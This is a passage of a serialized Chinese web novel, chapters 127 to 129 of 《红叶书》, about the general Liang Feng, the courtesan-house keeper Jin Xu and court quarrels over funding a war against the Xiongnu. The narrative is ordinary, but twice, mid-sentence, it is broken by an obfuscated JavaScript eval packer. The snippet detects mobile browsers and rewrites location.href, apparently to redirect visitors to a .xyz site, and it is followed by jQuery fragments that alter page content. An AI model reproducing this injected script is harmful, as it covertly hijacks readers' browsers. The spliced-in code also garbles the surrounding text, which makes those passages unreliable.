梁风哑口,忍不住狡辩道:“我是认得的,只是猛一看没认出来而已......” 他当然是和金絮很熟的。他边说边心虚地偷偷瞧金絮。金絮面上看不出喜怒。 他不喜欢这样,她像是突然间藏起一切,表情、心情,在她脸上再看不到,仿佛与她隔了一层。 她的脸上像糊了一堵墙。那么厚一堵墙,就糊在她的脸上了。 “对不起。我不是故意的,我以后不会再带刀来温柔馆了。”梁风道。 丽姬一哼,没做反应。 金絮拍拍丽姬脑袋,“好了,快去找孙姨包扎伤口吧。” 很浅的伤口,已经不流血了。 梁风想了想,提醒道:“伤口虽然不算深,但我这刀是很脏的,你在上药前需将伤口先清洗干净,最好是用酒液擦拭一遍。” 金絮闻言,偷瞧了他的刀一眼。 丽姬又一哼,“看在阿絮的份上,我可以原谅你,但是——”她收了手指,看着梁风,十分认真地说:“我不喜欢你。手帕还我。” 头一次这么直白地听人说不喜欢他,梁风也说不上是什么感觉,该说是这么多年普遍的事实被一个刚认识的人点明了。他乖乖地把手帕还给她。 丽姬一把抓过帕子就走。 等她走远两步,金絮歉意道:“王爷见谅,丽姬被我惯得愈发会使小性子了。” 她道:“她这人就是喜欢从背后偷袭,馆里很多来客都吃她这套。我知道王爷不是故意的,您今日来温柔馆也是临时起意,才未来得及卸刀。” 梁风心里一熨,就知道皮下还是她。 “之后我也要治治她这个毛病了,她不能再......”她说着,忽然噤了声,看着他的腰带,“你的玉佩呢?” 梁风低头,恍然发现腰上挂着的玉佩不见了,一个指甲盖大小的挂件。 金絮无奈道:“丽姬。” “干什么!”走得不远的丽姬没好气地回头。 “还回来。”金絮朝她伸出手。 “不还。”丽姬喊道:“有本事你就来治我!” 梁风看着丽姬跑远,视线回到金絮脸上,思绪又发散,仍是无法忽视她脸上阻隔视线的妆。 金絮无声叹气,道:“王爷,您今晚稍等一会,我会向她要回来的。” 梁风回神,“哦哦。” 127. 《红叶书》(四七) “您把刀给我吧。” 金絮道:“我先替您收着,等您要回府的时候,我再还给您。” “可以啊。”梁风解下佩刀递去,随口道:“不用和我说‘您’,我不计较这些。” 金絮接刀,哦了声。 刀有点沉,她两只手抱着。抱一会,她改用一只手,左手搂着刀鞘贴在身侧。漆黑皮革的刀鞘和她身上蓝底白衫的裙子衬起来,以他的眼光看,并不搭配。气质上也不合,她用更清亮的细剑会更合适。 “我化了妆,不好看吗?” 正寻思着,她突然问,梁风下意识朝她脸上看去。 凑近了看,脸部轮廓不模糊了,下巴什么的都看得清楚,眉毛是黑的,睫毛是卷翘的,嘴巴是红的,眼睛是清透漂亮的。 “好看的。”他反正没看出有什么不好看的地方,“你化不化妆都是好看的。只是我会想到徐娘,徐娘妆下的病容全靠那些脂粉遮着。” 金絮用指背摸摸脸颊,她思索了,她说:“我身体好着呢。” 梁风想她身体也该是好的,但涂了脂粉,总感觉什么也看不见了。 “王爷用饭了吗?” “没有。” 金絮略一吩咐,梁风就被人领着,领去了一间厢房。 落座后,大厢过来,为他推荐菜式。梁风随便点了几个,问道:“厅堂怎么摆那么少的席位啊?” 大厢答:“厢房数量足够,而且价钱低,厅堂的散席就摆得不多。” “哦,这样也好。”金絮应该是想着为姑娘们保留隐私吧。 话头起了,梁风便问道:“她这几日心情不好?” 大厢想了有一会,才答:“梁公子是问阿絮姐?” 他点头。大厢道:“阿絮姐这几日来月事了,所以心情不好。” “悦事?她看起来不是开心的样子。” “多少有些的,月事这几天,心情总会不好,浮动易怒。” “哦......”梁风半懂不懂,这是反语吗? 点好菜,大厢退出去,梁风一个人在空荡荡的房间里等着。 厢房内的布置和寻常卧房差不多,卧榻、席被、衣架水盆都放得到位,但没什么温馨的感觉。唯一与家不同的是随处可见的小木架子,架子上放着几支瓶瓶罐罐,不知道干什么用。 估计是熏香用的。 他想打开一瓶看看,房门蓦地被人拍开,丽姬出现在门口。 “还你。”她用一只手指勾着他的小挂件。 梁风接过来,抬头道:“你叫莉玑?” 她居高,斜睨他一眼,“怎样?” “哪个莉,哪个玑?” 她微收眼神,想了想道:“美丽的丽,好姑娘的姬。” “好姑娘的玑?” “女臣姬。”她提醒。 梁风恍然,“原来是丽姬,我还以为是珠子玑。” 她翻了下眼,干巴巴道:“对不起,我不该偷你东西。” “没关系,没有下次就好了。”梁风非常大方,“我以后也会多留意,不会再割伤别人。” “那我们扯平了。”她道。 梁风刚一点头,她就立即走出去了。 从门外走过,她正好路过金絮眼前。梁风看见金絮,向她招招手。金絮监督着丽姬道完歉,得他示意,抱刀走进来。 “我听大厢说,你能陪别人吃饭?” 她一愣,应得很轻。 “那你陪我吃饭。”梁风拍拍身侧的席位,“坐这。” 金絮在他对面坐下来,刀放在了她腿上。 梁风看着,也不说什么了。 菜上来,他举筷吃饭。金絮也不言语。 她平常和别的男客吃饭也是这样么,难道还要遵循什么食不言的规矩。 “你陪我说话。”他道。 她从善如流,道:“我不相信人不在了。” “谁?” “你的暗卫。” 一噎,喉咙里的东西不上不下,有些难以启齿,他说:“我确实已经把人召回了,你现在身边没有人监视,但也没有人保护你了。” “我不知道,我只知道我被看见着。” 那层妆,真的像墙。他心里浮起股在迷雾中行走的感觉。 “你不用相信人还在不在,你只用相信我。我很厌恶被人监视,而我却会派人监视你。我是真的把人召回了。” 金絮仔仔细细看着他的眼睛,最后道:“那好吧,我相信你。” 好像十分为难的样子,梁风迷雾的感觉变成了被人不信任的感觉。 她又问:“我听人说,陛下颁了道圣旨紧急召王爷回来的,是不是出了事情?” 这事或许不能告诉她,梁风犹豫着点头,“匈奴来函,希望能和大周交换物资,朝臣们正在商讨。” “匈奴......”她白白的额头皱起来,“会打起来吗?” “不一定。” 他补充:“你放心,就算打起来,也打不到京城来的。” “那就是有可能会打起来?” “是有可能,但朝臣们都会尽量避免这种可能。”他认真地说:“我是希望能不打仗就不打仗,可是交换布匹珠玉,对百姓来讲,也不比打仗轻松。朝廷在想最好的办法。” 她不认同地摇头,“百姓拿不出布匹珠玉的,受损的只会是拥有这些东西的人。” 梁风顺着她的话一想,颔首,“你说的是。” 她的观点倒给了他启示,王府里很多东西都可以捐给朝廷,用做与匈奴谈判的筹码,反正在他府里也是白白放着。 之后让老李把府里的东西清点一下,梁风寻思着主意,注意到金絮在说完后走了神。 她微低头,左手放在刀鞘上,右手虚虚握着刀柄,发散失神的眼睛沉浸在自己的世界中。她手握刀柄的样子,好像一截铁器缠了几圈厚厚的蛛丝,很不协调,手背的力度看起来也不够。 她在想什么?莫非在想他刀下是否存在冤魂?那可禁不住她的审问。梁风夹了一筷子清煮鱼肉,嚼了嚼,道:“我不喜欢去腥的鱼肉。” 金絮原本低着的脑袋显得茫然地抬起,梁风筷尖指指鱼肉,她的目光看去。 他道:“不过我会吃完,不能浪费粮食,军营里几乎吃不到鱼肉。” 她更为茫然地在梁风和鱼碟之间看看,最后道:“我记住了。” 梁风看看她的样子,斟酌着说:“你刚才坐那听戏的样子......” 他起了话头又住口。 “什么?” “我是说,你以后想听戏,可以找我陪你。” “不用了。王爷忙事吧,我也不常听戏,有空才去听听。” 哦......梁风又道:“你好像很多话不愿意和我说。”他琢磨琢磨道:“就是心事那种。” “既然是心事了,当然不会随便和别人说。”她没什么反应。 她一边想,掌心一边拍拍刀鞘,自念道:“下个月的药材是去街头的陈记买,还是跑远点,去南市的月楼买。” “你在想这个。”药材啊...... “原本给馆里供药的药商,不小心令这季的藏红花淋了雨,发霉了,我只好另买一批藏红花。” “买药材是做什么?” “吃啊。”她抓抓刀柄,解释道:“做避子汤。” 避子汤,他好像知道,是喝了不会有小孩的。梁风试探道:“我听李婶说,避子汤喝多了对身体不好。” “总比堕胎好。” 梁风偷偷瞧她,她是这么理所当然地说。 他有些踌躇,自己舀一碗汤,温柔馆里的汤煮得不错。他在碗里放一个瓷勺,把勺子拨到一边,端起碗准备喝。碗沿遮住嘴边,他问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839862|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你有喝过么?” “没有。” 他把碗放下了,拿勺子搅弄搅弄,温柔馆的汤是不错的。 “这把刀我拔不出来。”她道。在他面前,一手抓刀鞘,一手握刀柄,往两个方向扯,没扯开。 “为什么我会拔不出来?” 梁风直接起身,绕过桌案,“我这刀与寻常刀不同,刀柄比刀身重,为防止骑马时刀身颠倒,刀从鞘中滑出,便在鞘口做了收紧。” 就是个小机关。他蹲下,捏住鞘角微突的一点,另只手抓住刀柄尾部,轻轻将刀拔出一截。 她啊了一声。 她缓缓将刀接着拔出,认真观察每一寸纹理,大半截并不雪亮的刀身连烛光也抹不上颜色。她忽然凑近,梁风忙把刀向他这边拉,“当心危险,别凑这么近。” 她直回身子,道:“有股气味。” “气味是肯定有的。这刀用了许多年了,血味早都洗不干净了。”梁风担心她托不住,两边帮她扶着。 “刀刃对着你了。”她说。 他点头,“刀是单刃的,像这样开鞘,刀刃当然向外,不会向着自己。” “向外。”她若有所思,慢慢把刀调了个转。 “危险。”梁风又转回来。 金絮看看他,一点点推刀回鞘里,再一举,“还给你吧。” “我还没有要回府呢。” 这么说着,梁风还是把刀拿过来,扣回腰上,放在她手里也是危险。 她又想到什么,问:“可是在战场上很紧急吧,这样拔刀不会麻烦吗?” “不会。力气足够的话,直接拔也可以。” 梁风示范一次,唰地拔刀,刀柄和鞘口卡扣碰撞发出铿锵一声,刀整个地拔了出来。卡扣只是为了骑马时不会滑鞘,扣得并不死紧。 “原来是我力气小了。”她说。 “差不多。你其实力气挺大的。” 金絮听见这话也不动声色,十分端正地跪坐着。梁风坐下,继续喝没喝完的汤。 “王爷不着急回府的话,今晚就在温柔馆过夜吧。” 一勺汤喝下,差点卡了喉。 “怎么了?出什么事了吗?” “没有,什么事情也没有。”她道:“还是不留了吧,温柔馆的床榻恐怕王爷睡不惯。” 梁风眨了眨眼,脑子懵掉。金絮被他看两眼,移开了视线。 “你让我在这里过夜吗?” 她没有回答。梁风前倾靠近,不由得问:“我一直很想问你,我在你这里,是个什么人?”他手指隔空点点房门,“是个和外面那些人一样的客人吗?” 她露出一瞬的无措,很快坚定地摇头,“不一样。当然是不一样的。”她示意桌案,“我这么说,只是因为这顿饭钱已经和住一晚的房费相差无几了。温柔馆散席少,厢房多,一晚的房费没有很贵的。我只是想着,钱已经花出去这么多了,那不如直接住一晚,区别不会很大。” 是这样吗?这顿饭得多少钱啊。他还是觉得哪里怪怪的,她这番说辞不就是对外面那些男客也会有的说辞吗? “我希望你和我说话,但我不喜欢你说这样的话。”他心里默默计较,最后道。 “嗯。”她立马应了,“我记住了。” 梁风也吃饱了,便结账。 一付款,才发现这顿饭居然花了大半贯钱。那条味道一般的鱼不便宜啊。他有点咋舌,印象里在嬉春院吃顿饭都没有这么贵,温柔馆的价钱翻了三四倍不止。 他分出心肯定,金絮建议他留下过夜,肯定只是为了让他多花点钱。她真是越来越会花心思赚钱了。 金絮没有送他,梁风走到门口时回头,看见金絮在二层的楼梯口呆滞地站着,好像有人操控着她的灵魂出壳,她正不受控制。 梁风顺着她的目光往下看,她注视着的丽姬正往一个男人身上贴。 128. 《红叶书》(四八) 丽姬贴着的那人是......他记得,好像叫赵关?是去年金絮最终选择对赌的人。 金絮看丽姬的神情不太对,梁风有点在意她的情绪,多看了两眼。 金絮感受到他的注视,眼睛在他这里停留片刻,转身钻进一壁墙的画里。 梁风莫名感受到她的欲言又止,可是话不和他说,他有什么办法。 梁风最后看了眼丽姬就打算离去,见那两人似乎没聊到一块,丽姬挥着手帕推开赵关,表情不耐烦地走了。 其他散席男客见丽姬落单,纷纷空出左拥右抱的手,叫她来陪。丽姬为这些招着的手停了脚步,身子却不正过去,居高斜睨这些男人,然后眼睛不屑地一翻,走了。 梁风对她这精彩纷呈的表情,有些叹羡,不知道金絮什么时候也可以这样。 丽姬路过在她面前摆开任她挑选的散席,目光有意无意地落了梁风一眼。 仅一眼,丽姬也随金絮消失在画后。他在厅堂内环顾一圈,没再看见金絮的身影,转头回府。 府中一如往常安静,进得深了才能听见碎语交谈。年尾前事少,老李他们忙完了事,入夜后大多聚在一起磕瓜闲聊。 梁风让老李收拾收拾陛下这几年的赏赐,写张单子,过两日由他送到皇宫里去。 老李应下,领着梁风去到王府的宝库。 宝库都是顶天的置物架子,架子上尽是大大小小的珍宝,全部一尘不染。老李每日打理这些东西也是费了不少心思。 李晟翻开屋央桌案上的册子,道:“都收拾整齐的,单子也有,看王爷要什么。” 梁风随便翻两页,半个指头厚的书,上面记录的东西几乎全部不认识,奇怪道:“怎么会有这么多?” “多是因为您出征时,陛下也会送些东西来,较零散,就没同您说。”老李指书页尾部,“都是些不大的东西,这儿写着呢。” 老李记了这些零散东西赐下的日子。梁风略一回忆,这些赏赐都是赐在他剿匪途中寄回书信或奏折的时候,应当算是皇帝对他每封军报的回应。 这些方面皇帝总做得一丝不苟。梁风一下子迟疑起来,原样将赏赐还给皇帝,哪怕以援助的名义或许都不太妥当。 不如先去探探文官的口风。他每上呈的奏折都需经过相府,再呈交皇帝,若奏折在相府卡住了,丞相反击他侮辱御赐之物,那实在没有必要。 他另有了打算,便先将这事放一放,和老李道:“我今夜去了温柔馆,见到金絮,她问我要不要在温柔馆过夜,你说她这是什么意思?” 李晟眨眨眼,先不言。 “她好像年纪长得越大,越奇怪了,你说是不是?”梁风问。 “这就是问您要不要留馆过夜,意思简单,您若愿意便留下,不愿意便回来。”老李道:“您不愿意。” “她没有旁的什么意思?”梁风狐疑地看着老李,“是我多想?” 她若没有旁的意思,那他是愿意的。他只是担心,若留宿温柔馆,金絮会真的把他当成那些来客对待。 “是您多想,金姑娘什么意思也没有。”老李定论并提醒道:“王爷,收敛你的关心,你也无必要对金姑娘这样无节制地照顾,她将来是要嫁人的。” 梁风呆了一呆,“我的关心过头了吗?” 李晟没说话。梁风眉头一皱,反应过来,义正词严道:“才没有,是老李你的关心过负了。” 他一点也不觉得多余,反而被点醒,她要嫁人,可她这样子,如何能嫁人呢。 梁风仰脸,“你也不懂那些姑娘家有什么心思对不对?” 李晟头一低,“王爷自己想吧。”利索地行礼退下,走到门边回头道:“上回不是同您说了,您有疑惑,大可直接去问金姑娘,何必在这里闷想。” 问了啊,可是又不同他说。 想来想去,还是决定先从自己入手,先把答应她的事情做到。 记得去年金絮和他说过,希望他能多陪陪她,他答应了,然而没有做到。不知道什么时候能有很多空闲,说不定多陪她了,她能和他多说说话。 梁风隔日派出暗卫,探听文官最近几日动静。 文官们的行动很丰富,最近朝会较多争吵。九卿部分人还在争执两位皇子是否应同去剿匪,相府内部更多是在商议抗匈问题以及钱粮如何筹备,皇帝因一封求请五公主和亲的奏折而在沉默。 梁风打探时还发现这些人中有夏培的身影,不知道这个皇帝身边最大的太监想干什么。 心里有了底,他再去找游照同。 新相府意外地朴素,游照同见到他也有朴素的意外。 梁风直言询问,他想为抗匈筹备军资,愿意将府中所藏珍宝支援朝廷,问这是否合适。并在心里偷偷想,如果不合适他就进宫去问问皇帝的意思,如果合适那就直接干,用奏折去问皇帝意思。 游照同对他的提议不露喜恶,也不多问。梁风耐心等着,丞相当然顾虑深重。 小厮奉茶,一股茶香飘来。香气扩散很广,却不浓烈。梁风一般不爱喝茶,但既做了客,多少得喝上一口。他端杯一口喝下大半盏,不由诧异,这茶入口十分顺滑,完全不卡嗓子,和寻常茶水不太一样。 他感慨茶香时,游相少见地直接点了头。 直接得令他一愣。愣完后他迅速起身,不给游相再说什么绕弯子的话,赶快返营了。 他在营写折一封,上呈朝廷,表明愿意主动献出王府藏宝及钱币以充军资,恳请陛下同意。本身金银珠玉这些东西放在他这也没什么用处。 值钱的东西无关痛痒,他想换取在皇帝面前说话的底气。下回出征不知道什么时候,这趟回京的时间里,除了金絮外,他还想为母亲争取一项权利,他希望母亲能拥有随时召见他的权利。 他派暗卫监视奏折后续,文官内部掀起了不小的风波。 梁风有所预料,如金絮所言,上捐钱币,受损的当然是真正拥有贵价之物的人,肯定不是他。 唯一和他预料不同的是,游照同拿他做了出头鸟。 游相与皇帝提议,目下击退匈奴为当务之急,然而军资匮乏,要想数日内筹备足够军资,最好的方法是在京筹集。游照同便提议京内所有俸禄在五百石以上官员捐出府中十件百金藏宝或等价值金钱现物,并说这是受了应和王启发,应和王殿下上捐军资,便是先为表率,慷慨解囊,缓解陛下燃眉之急。 他成了“先为表率”了。 不过就目前来看,于他似乎没什么影响,做个表率也无不妥,顶多文官争吵的苗头会指向他,最终做决定的还是皇帝。梁风暂时不动作。 文官之间吵翻了天,大半的人直言自己匮乏珍宝钱币,拒绝为大司农筹资。接着便有人说,能者多劳,不能者少劳,千石以上官员多出,千石以下官员少出。 吵得不可开交时,沉默的皇帝终于开口,做出的第一个决定却是下旨宣召应和王即日起入朝参会。 到底是吵到他这了。不会是皇帝想让他分担炮火吧,梁风默默腹诽,默默收拾出不知多久没穿过的朝服。 隔日一早,为首与文官列队入朝,皇帝一个眼神看过来,他莫名隐隐约约猜到了皇帝让他上朝的原因。 开门见山,游照同第一个提起这事。皇帝问应和王意见。梁风出列,言明为朝廷捐助宝物是他自愿,游相的捐资援廷提议他也持支持态度。 他无所谓被游照同拿来做出头鸟,代价不过是听文官骂一骂,又不会掉块肉。但这事若是能成,援助的金钱是调入军营,他乐意用文官的钱给他的士兵们吃口好的。 估计是拿准他会这么想,游照同才会招呼也不打一个,直接点他为名义上的表率。 皇帝闻言不说话。梁风回队。 接着官员们接连发表自己意见,有的赞同,有的不赞同,更有人直言:这事于皇帝是资助,于官员是搜刮。 赞同的人里有冯棹台。能者多劳,不能者少劳的建议是冯棹台说的。 梁风看去一眼,冯棹台这一年多升了职份,如今是治书副侍御史,不知说话分量如何。 梁风留神听一阵,冯棹台发话后,没有其他人尾随附和,估计分量一般。 大司农附和游相,同样赞成此事,并呈书说明国库紧缩到了何种地步。今年天灾虽比上一年少,但灾地过于偏远,援粮难抵,死亡人数反而比往年有增无减。 大司农说完,不少官员附和,更有甚者说,灾民叛起者愈多,仅凭应和王一人难以抵抗,见势不妙啊。 梁风往文官里偷瞅,注意到皇帝正看着他,马上收回偷瞅的眼睛。不知道在看他什么,梁风不理,他只是发现文官里也是有好人的。 皇帝拍板,“行了,都别吵了。此事按丞相所言,本月内,所有五百石以上官员捐出一年内俸禄收入的三成以充军资,允许等价府藏替换,即刻执行。” 帝言既出,群臣寂静无声。游照同反应迅速,立即弯腰施礼应下。 梁风感到几道眼刀子向他割来,他当做没看见。 还有人试图挣扎,哭穷卖惨,希望陛下收回成命。皇帝同样当没听见,巡视众人道:“朕选名监币使负责此事,你们觉得谁合适?” 游照同一条,明显脑筋动起来了。梁风看看不说话,他觉得冯棹台挺合适。 皇帝没等众人议论起来,又道:“朕钦点应和王为监币使,全权督管此事,应和王可愿?” 梁风一愣,不知作何反应。游照同都被皇帝这话唬得懵了。 钦点一个将军负责本应是文官负责的事情,这对文官来讲可不是个好兆头。 底下众人再度吵起来。 这就不只是拉出来做出头鸟这么简单了,他可不愿意。梁风正要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839863|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出列拒绝,皇帝再道:“此事成后,你有何想要的奖赏,朕一律答应,绝不反悔。” 梁风的话登时被堵回去,望着皇帝,皇帝全然一副尽在掌握的表情。 这是皇帝叫他来上朝的真正原因。他想着被困在深宫中的母亲,朝上弯了腰,应道:“臣愿为陛下分忧。” 皇帝满意点头,看着文官道:“众爱卿若无异议,朕再选一人为监币副使,协助应和王完成此事,可有自荐?” 众人议论纷纷,梁风觉得吵,不耐烦听了。 这时有人站出说,应和王应当不出援资,襄地每年纳贡已有不少,应和王无需另出。 梁风皱眉,刚敲定的人选,这就有人开始巴结他了。 襄地纳贡的事情他当然知道,那些贡品从未经过他手,偶尔会有贡品单子送到他这,他没有时间看,都交给了老李。 冯棹台出列自荐,愿意协助应和王。 梁风闻言看过去,没想到冯棹台这么积极,不知道是另有打算,还是为了立功升职。好像不曾听说过冯棹台背后有什么靠山,但似乎,皇帝是愿意提拔他的。 注视过久,引得冯棹台扭头瞧了他一眼。只有一眼,冯棹台迅速收回目光,似乎是提醒他,让他不要再看着了。梁风便收回眼睛。 冯棹台之后接连数人自荐,也有人举荐旁人,皇帝一一认真听了,不露反应。等到所有人举荐完毕,皇帝直接拍板,“监币副使之人容后再议,散朝。” 皇帝道:“应和王留下,朕有事交代。” 朝臣结伴念念叨叨,陆续散去。梁风留下,耳边清净了。 “朕简单交代两句。”皇帝的眼神没有其他人分散,整个盯在梁风脸上。 “这次的事情你权限很大,哪些人需要捐、哪些人不需要捐、捐多少,都由你全权决定。你有个副使,但最终做决定的人是你。” 梁风眨了眨眼,道:“哦。” “还有,你以后有何事,不需要事先问过游照同。游照同的意见,与朕有何相干?”皇帝再盯,“明白了吗?” 梁风还是眨眼,微垂头看看面前的阶陛,道:“明白了。” “朕和他之间,你分不清?” “分得清。” 皇帝收敛眼色,挥挥手,“明白了便退下吧。” 梁风退下了。走到月台上,梁风回头看了一眼,眼睛翻翻,出宫。 回到军营里,没有眼睛盯着了,睡前他自己寻思一会。 寻思寻思,发现脑袋空空。 文官们应该开始走动了,为了监币副使的位置。 但这个位置上的人,皇帝心里肯定有人选了。 他独自在军营呆坐两天,恍惚意识到他也应该行动起来了,可是他该怎么行动呢? 毫无头绪。 梁风漫不经心踱进城,或许可以去几个大官府邸附近看一看,说不定安防布置存在疏漏,急需多放一队士兵巡视什么的。 可是走着走着,天色黑下来,入眼逐渐灯火辉煌,他一抬头,面前已经是温柔馆了。 二层楼阁又是丽姬在,托腮淡淡俯视他。 金絮站大门处,正迎进一名男客。 她再迎进数名男客,迎进更多男客。 一直没有注意他在这站着,等着被她迎进。梁风呆呆看着,她好像又化了妆。 看看着着,他发现金絮有一个习惯。每有男客上门,她一定第一时间攀住那男的手臂,然后带进屋里,很主动的样子。 他寻思一阵,猜她这样做是为了占先机,防止男的用手搂她。 这个他十分懂的,兵法上叫以进为退。这是青楼里的兵书,还未进门,手臂上的动作已经是在打仗。 他自沉思,金絮扭头扫视街面,终于注意到他,脸色一沉,快速向他走来。 是不是也要抓他胳膊了?梁风犹豫要不要把胳膊藏起来,背到身后去,却没想到金絮近来用力猛地推开他。 “你不许进来!” 她周身气场忽然变了,有形得仿佛利剑,盛大的烛火都压她不住。 梁风被推得后撤一步,懵道:“怎么了?” “你没有把监视我的暗卫撤走!你说你撤走了,但是你没有!”她的声音凶得发狠,抓住他的衣裳再用力推开,“你快走,不许来!” 梁风懵极了,随着她的力度步步后退,“我撤走了啊......” “你没有!”她一步步推开他,力度十分大,“你还想骗我?” “你不把人撤走就不许踏进温柔馆!”她狠狠瞪他一眼,不再理他,扭头踏进温柔馆,关门都啪地一声,客都不迎了。 梁风被弃在街心,没想明白怎么回事,难道暗卫没听他命令,重新返回监视金絮了? 他越想越不对。 阁楼上,托腮的丽姬为他被驱逐而得意地勾唇笑。 129. 焦躁 越想越不对。 凭什么冤枉他,他分明已经撤走暗卫了,还这么凶。 不让他去,他偏要去。 梁风三两步跨进温柔馆。 温柔馆今夜来客很多,烛光都被挤到一边。中央唱台无人唱曲,散席坐满了,厢房基本亮了灯,还有不少男客搂着姑娘站着调笑,没有位子。 他四下看看,一时找不见金絮。 姑娘们冲他抛眼睛,但都不靠近。梁风走深一点,去到那幅藏人的画前。 画卷顶天立地,梁风上下打量,用两指捏起一点点画缘,冒犯似地掀开,往那幽深的神秘之地瞅。 这里面可是女子生活的地方。梁风小心翼翼,不知能不能开门进去。 当然不能。他没别的,也就是掀起来看看,梁风老老实实放画回原位。 金絮应该不在厅堂,各层廊道也不见她。或许在庭院,她好像挺喜欢院子里那座桥的。梁风便打算找去,转身的一刻忽然感到一股杀气。 浅浅淡淡的一瞬,并不浓重,他迅速回头,杀气骤散,若有似无地漂浮在四周。 梁风皱眉,立即慎重查看。 温柔馆里不可能有杀气,虽然男女调笑之间伴随着死守与攻城,但双方脱下衣服的一刻,也是放下戒心的一刻。 他上到二楼,俯察扫视厅堂的人。 楼层廊道的人少了,偶尔有客和姑娘出房走动,都不会往他这看上一眼。 他仔细在人群中查看,发现不对劲。 厅堂这堆男客里,竟然有一两个人令他觉得面熟,好像在哪里见过。 都是中年人,四五十岁,两人坐的位置中间隔了几席,似乎不相干。他用力地回忆,盯得久了,其中一人往他这里看来。 视线对上,再想象加盖一顶帽子,只露出额头以下......他想起来了,他是在朝会上见过这两人。 这两张脸浮现在冯棹台身后。 朝会上,冯棹台的站位大概在群臣中部。模模糊糊,他应该是看过这两人几眼,隐约记得面相。 刚才的杀气是这两人?不知道是不是一伙的,朝会的站位也看不出官员党派。 此前没印象有官员多来温柔馆,梁风不想怀着好意猜测。他才被指定为监币使不久,有人就想监视监币使了?他不满地皱眉。 正自十分不满着,梁风再次感到一道视线注视在他身上。 他眉头皱得更深,犀利地环顾。 堂下无人抬头看他,黑黢黢一片脑袋顶。他环视本层,见右侧不远挂着一只大灯笼,金絮在灯笼下站着,面无表情地瞪着他。 梁风与她对视片刻,她眼中瞪意毫不减少,他便瞪回去,气势汹汹向她走去。 金絮盯着他动作,待他走近,抬手平举一指,“门在那边。” 汹汹气势顿时噎住,梁风本能地顺她指向一看,更生气了,“那是窗户!” “差不多,都可以出去。”金絮收手道。 她指的是个窗户,窗外就是檐廊,往左侧再走几步才是门。 一排女子在外面扶栏向街道招手揽客,那通红衣裳的丽姬,还在趴着隔栏扭腰,物色着不知哪个男人。 “你要赶我走,甚至建议我跳楼!”梁风反应过来。 “我不是建议你跳楼,只是让你走出去。而且这里是二层,跳下去也死不了。”金絮言之凿凿,一脸笃定地纠正。 梁风气道:“不许这样和我说话!” 金絮被他的语气一冲,收敛了眼色,似乎默哼一声,撇过脸去,不看他。 哼,梁风走近一步,用比她更凶的气势说:“我总共十一个暗卫,我可以把他们全部叫来你面前,你一个个对峙,看有谁是最近出现在你身边的。你若是能找出一个人来,我就再也不来找你了。” 她脸色未轻,明显不信。 “我刚被陛下命为监币使,那么多的文官,我要盯着他们每个人的动静,十一个暗卫都不够用,哪有多余的人手监视你?”梁风越说,心里越浮上一股淡淡的委屈,“你没有弄清楚事情,你就冤枉我。” “没有!” 她音量也提高了:“半夜房顶的脚步声;草丛里明明有人说话,走近了却没见到一个人;房间里的东西不知被谁移动过;墙角后一闪而过的眼睛;午后池边多出的男人湿鞋印。一定有人暗中盯着,我没有冤枉你!” “这是闹鬼了!”梁风脱口而出。 廊檐一排姑娘听见这边动静纷纷看来,低声窃窃私语。金絮听见闹鬼,周身的急躁反而瞬间淡了下去,避开他的眼睛不看。 梁风怕说这些话会吓到她们,拽住金絮手臂,拉到旁边无人的角落。 “我的暗卫没这么差劲,监视你怎可能留下这些痕迹,让你发现?” “之前的我就发现了。”她一哼,还嘴硬。 “那是保护你,不是监视你。让你知道有人在暗中护你,你才会安心,我担心你和那姓赵的对赌的时候会害怕。” 梁风学着她的样子笃笃纠正:“我是在担心你的安危,不是给你机会让你不信任我,听明白没有?” “没有。” “不、是、我。”她就是在赌气。 金絮想挣脱出手来,甩手道:“好,就算不是你,也一定有人在监视温柔馆,我要把那人找出来。” 梁风拽住她不放,“你先和我道歉。如果真的有人暗中盯着你,你不知道那人是谁,你就觉得是我了。你完全不相信我。” 不是他计较,而是不希望怪他的人是金絮。不论他做什么,金絮都不应该不信任他。 她停止了挣动,呼口气,抬头看着他的双眼道:“对不起。” 梁风仔细看她的神情,看到她眼里有几分真诚。 这还差不多,他略略放开她的手臂。 “我不想惹你生气。”她道:“我有些草木皆兵了。” “没关系,我原谅你了,我一向是消气消得快的。”梁风大度道。 “暗中肯定有双眼睛,我要把人找出来。” 隔着一层脂粉也能清晰感受到她身上烦躁与冷静混合的情绪,她扭头就要走,梁风再次拽住她,安抚道:“你先别急,我或许能猜到盯着温柔馆的是哪些人。” “谁?”金絮不耐烦的眉头像卷翘的刀尖般勾起。 梁风抬手抚平她的眉毛,微微蹭掉了一层薄薄脂粉。刀尖制成上翘是为了勾出敌人身体的血肉,而不应该出现在她眉间。 梁风将这次文官割肉放血的事情告诉她,以及他被命为监币使,而监币副使人选未定,朝臣们正有所动作的现状。 “他们监视的应当不是你,而是我。他们想通过温柔馆来观察我的举动,跟我派暗卫盯着他们是一样的。”梁风压低声音:“我除了军营和府里,其余最多去的地方就是温柔馆了。” 温柔馆真是个好监视的地方。人多眼杂,齐聚各色人等,神不知地混入两个搅水的人相当简单。 “观察你的动静是为了什么?难道就能不出钱了?”她气了,眉毛又变成刀尖。 “我还不清楚他们目的,但是想来不是为了自己能少出点钱,就是不希望被我破坏秩序。”梁风道:“武官是不管这些事的。” 她眉毛皱得更深,“破坏秩序的是皇帝。” 梁风不说话,再抬手抚平她的眉毛,结果金絮一挣脑袋,他的手指被擦走。 